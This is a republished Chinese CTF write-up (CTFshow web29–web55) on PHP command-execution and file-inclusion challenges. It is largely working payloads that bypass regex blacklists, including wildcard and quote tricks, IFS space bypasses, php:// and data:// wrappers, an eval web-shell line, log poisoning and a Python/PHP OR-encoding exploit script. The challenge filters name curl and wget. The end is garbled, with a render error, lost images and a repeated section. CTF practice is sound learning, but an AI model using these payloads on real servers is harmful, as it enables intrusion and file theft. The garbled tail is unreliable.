CTFshow刷题日记

编程入门 行业动态 更新时间:2024-10-18 06:04:11

CTFshow刷题<a href=https://www.elefans.com/category/jswz/34/1768372.html style=日记"/>

CTFshow刷题日记

类型一:

变量c来接受并过滤传入的数据,eval函数来执行

web29

<?php
error_reporting(0);
if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){eval($c);}}else{highlight_file(__FILE__);
}

过滤了flag,使用*号,通配符绕过即可

/?c=system("cat%20fla*");

hint:

echo `nl fl''ag.ph''p`;

nl命令:nl命令在linux系统中用来计算文件中行号。nl 可以将输出的文件内容自动的加上行号

看了y4的博客发现更多骚操作

1.通配符fla?绕过flag检测
2.c=echo `nl fl\ag.php`;//转义字符绕过
3.通过变量赋值直接绕过c的过滤 c=include($_GET[1]);&1=php://filter/read=convert.base64-encode/resource=flag.php
4.c=eval($_GET[1]);&1=system('nl flag.php');5.linux命令c=awk '{printf $0}' flag.php||这个方法没试成功

web30

    if(!preg_match("/flag|system|php/i", $c)){eval($c);}

system可以用 ` 反引号来代替去执行命令

/?c=echo%20`nl%20fla*`;

查看源码,拿到flag

当然也有其他的函数可以代替system

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

可以读取文件的函数

readfile()			读取文件
highlight_file()	读文件
show_source()		同上
base64_decode()		base64解码
strrev()			反转字符串

web31

    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){eval($c);}

代替cat的命令

more:	一页一页的显示档案内容
less:	与 more 类似 head:查看头几行
tac:	从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:	查看尾几行
nl:		显示内容,顺便输出行号
od:		以二进制的方式读取档案内容
vi:		一种编辑器,这个也可以查看
vim:	一种编辑器,这个也可以查看
sort:	文件排序并输出也可以查看内容
uniq:	可以查看 file -f:报错出具体内容 grep
strings: 在对象文件或二进制文件中查找可打印的字符串, 在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
paste	把每个文件以列对列的方式,一列列地加以合并
grep	grep { flag.php打印有”{“的一行
sed		一种编辑器,可以用sed -f flag.php读取flag

linux绕过空格

cat%09flag
{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
ca\t fl\ag
多试试

payload:

c=echo(`tac%09fl*`);
c=eval($_GET[1]);&1=system('nl flag.php');
// bug级别存在,也可以用伪协议读文件
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
//查看当前目录下的文件,反向找到flag.php,高亮显示
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
c=echo(`nl%09fl[abc]*`); //通配符
c="\x73\x79\x73\x74\x65\x6d"("nl%09fl[a]*"); //等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符

web32

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)

include可以不用括号,分号用?>代替

payload:利用伪协议

1.c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=index.php
2.c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php");?> 
//f12查看源码可以看到flag
3.c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy5waHAiKTs/Pg== 
//和第二种方法伪协议一致,多加了一层base64
4.c=include$_GET[1]?>&1=各种伪协议

web33

多过滤了双引号,然而我们的payload并没有出现",可以用32的payload

c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

web34

增加了过滤冒号

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)

可以用32的payload

web35

多过滤了左括号和等于号

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)

可以用32的payload

web36

多过滤了 / 数字

preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)

c=include$_GET[1]?>中没有被过滤的字符,所以可以用32的payload

类型二:

变量c接收并过滤传入的数据,include来包含文件

web37

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c);echo $flag;}

$c没有执行, 而是包含文件

payload:

利用data伪协议去包含文件

data伪协议的格式
data://text/plain;base64,
data:资源类型(MIME类型);编码,内容1.c=data://text/plain,<?php system("cat fla*");?>
读flag
2.c=data:,<?php @eval($_POST['shell']); ?>
可以直接用蚁剑连接
3.c=data:text/base64,PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4=
data类型扩展
data:,<文本数据>
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据

既然是文件包含也就有文件包含的做法了

去读取日志文件

c=/var/log/nginx/access.log 

在ua头里放入php文件, 文件包含可以将任意后缀名文件作为php文件执行

web38

上题基础上增加过滤了php和file, 这个时候data协议可以base编码的优势就显示出来了

c=data:text/base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhKiIpOw==

需要f12看源码

web39

if(isset($_GET['c'])){$c = $_GET['c'];if(!preg_match("/flag/i", $c)){include($c.".php");}

过滤flag, 但是文件包含处拼接了.php

这个时候data伪协议处了编码的还是可以使用

payload

c=data://text/plain,<?php system("cat fla*");?>

data://text/plain, 这样就相当于执行了php语句 .php 因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么作用

web40

属于类型一

发现过滤了中文右括号,:,数字等

过滤了冒号伪协议不能用了, 但是没有过滤分号和英文括号

payload:

1.c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));2.c=show_source(next(array_reverse(scandir(pos(localeconv())))));

web41

属于类型一

过滤:

if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){eval("echo($c);");}

这个题过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,同时过滤了字母和数字。但是特意留了个或运算符|
我们可以尝试从ascii为0-255的字符中,找到或运算能得到我们可用的字符的字符。
这里先给出两个脚本 exp.py rce_or.php,大家以后碰到可以使用或运算绕过的可以自己手动修改下即可。
生成可用字符的集合

<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){$hex_i='0'.dechex($i);}else{$hex_i=dechex($i);}if($j<16){$hex_j='0'.dechex($j);}else{$hex_j=dechex($j);}$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){echo "";}else{$a='%'.$hex_i;$b='%'.$hex_j;$c=(urldecode($a)|urldecode($b));if (ord($c)>=32&ord($c)<=126) {$contents=$contents.$c." ".$a." ".$b."\n";}}}
}
fwrite($myfile,$contents);
fclose($myfile);

大体意思就是从进行异或的字符中排除掉被过滤的,然后在判断异或得到的字符是否为可见字符
传递参数getflag
用法 python exp.py <url>

 # -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os
os.system("php rce_or.php")  #没有将php写入环境变量需手动运行
if(len(argv)!=2):print("="*50)print('USER:python exp.py <url>')print("eg:  python exp.py /")print("="*50)exit(0)
url=argv[1]
def action(arg):s1=""s2=""for i in arg:f=open("rce_or.txt","r")while True:t=f.readline()if t=="":breakif t[0]==i:#print(i)s1+=t[2:5]s2+=t[6:9]breakf.close()output="(\""+s1+"\"|\""+s2+"\")"return(output)while True:param=action(input("\n[+] your function:") )+action(input("[+] your command:"))data={'c':urllib.parse.unquote(param)}r=requests.post(url,data=data)print("\n[*] result:\n"+r.text)

类型三:

接受并过滤传入的变量拼接命令执行(system函数)

web42

if(isset($_GET['c'])){$c=$_GET['c'];system($c." >/dev/null 2>&1");
}else{highlight_file(__FILE__);
}

分隔符变量拼接可以用分隔符来控制后面语句的执行

比如: 分隔符

  • ; 分号顺序执行
  • && 顺序执行
  • || 前边执行成功则不再执行
  • 换行符(在url中是%0a)
  • & (在url中是%26)

payload

c=cat flag.php%26
上边的分隔符都可以

查看源代码

web43

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat/i", $c)){system($c." >/dev/null 2>&1");}

比上题多过滤了cat和分号,替换下就行了

?c=tac flag.php%0a

查看源代码

web44

过滤:

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/;|cat|flag/i", $c)){system($c." >/dev/null 2>&1");}

payload:

?c=tac fla*%0a
?c=ca''t fla*%0a

web45

过滤

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| /i", $c)){system($c." >/dev/null 2>&1");}

比上题多了绕过空格

?c=ca''t%09fla*%0a
?c=nl%09fla\g.php%0a

替换空格

%09,%20,$IFS、${IFS}、$IFS$9,{tac,*},<,<>
不行就换

web46

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){system($c." >/dev/null 2>&1");}

payload

c=nl%09fla""g.php%0a
c=tac%09fl[a-z]g.php||
....
%09只是url编码问题,并不能被过滤

web47

过滤

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){system($c." >/dev/null 2>&1");}

payload

c=nl<fla''g.php||
c=nl<fla''g.php%0a
c=nl%26fla''g.php||
c=tac<fla''g.php||
.......

web48

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){system($c." >/dev/null 2>&1");}

发现比上题多过滤了几个命令,其实没有影响

?c=tac%09fla''g.php||
。。。

web49

preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i")

多过滤了%号,原来的%09替换空格和%0a替换分号都不能用了

payload:

?c=tac<fla""g.php||
.....

web50

preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)

也就是%09和%26(&符号)不能用了

和上题的payload一样

?c=tac<fla''g.php||
命令还有
nl
空格绕过还可以用
<> ,{tac,*}
分割符绕过还可以用

web51

preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)

tac终于被过滤了

c=ta''c<>fla''g.php||
命令和flag依然可以用单引号和双引号拼接绕过正则

web52

preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)

<>尖括号被过滤了但是$没过滤

payload

c=nl$IFS\fla\g.php||
c=nl$IFS\fla?.php||

web53

preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)

多了wget,不过没影响

web53

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){echo($c);$d = system($c);echo "<br>".$d;}else{echo 'no';}
}else{highlight_file(__FILE__);
}

不需要使用命令分隔符

payload

?c=ca''t$IFS\fla\g.php
?c=nl$IFS\fla?.php
?c''at${IFS}fla''g.p''hp
......

web54

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}
}

相当于之前ca’'t这种的失效了

tips: /bin下存放一些普通的基本命令

可以使用通配符去调用命令

payload

?c=/bin/?at${IFS}f???????
?c=/bin/??t$IFS????????

linux find * 和 *? 的区别

普通正则表达式里面 * 的含义是匹配0 or 1 个字符

linux find默认使用的正则语法是基于emac实现的,Emacs语法里面 * 表示1个或者多个,其实等同于 .* 的用法,即贪婪匹配

web55

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}

不能出现英文字符

?c=/???/????64 ????????
但是这个不是通用的,base64不是每个机器都用

第二种方法在下一篇文章中介绍
|.*s.*c.p.|.*r.m.|`|%|\x09|\x26|>|</i", KaTeX parse error: Expected '}', got 'EOF' at end of input: … system(c);
}
}


相当于之前ca''t这种的失效了tips: /bin下存放一些普通的基本命令[外链图片转存中...(img-45zhXmme-1630677985784)]可以使用通配符去调用命令payload```url
?c=/bin/?at${IFS}f???????
?c=/bin/??t$IFS????????

linux find * 和 *? 的区别

普通正则表达式里面 * 的含义是匹配0 or 1 个字符

linux find默认使用的正则语法是基于emac实现的,Emacs语法里面 * 表示1个或者多个,其实等同于 .* 的用法,即贪婪匹配

web55

if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){system($c);}

不能出现英文字符

?c=/???/????64 ????????
但是这个不是通用的,base64不是每个机器都用

[外链图片转存中…(img-ADbQatQA-1630677985786)]

第二种方法在下一篇文章中介绍

更多推荐

CTFshow刷题日记

本文发布于:2024-02-13 22:02:57,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/34/1760684.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:日记   CTFshow

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!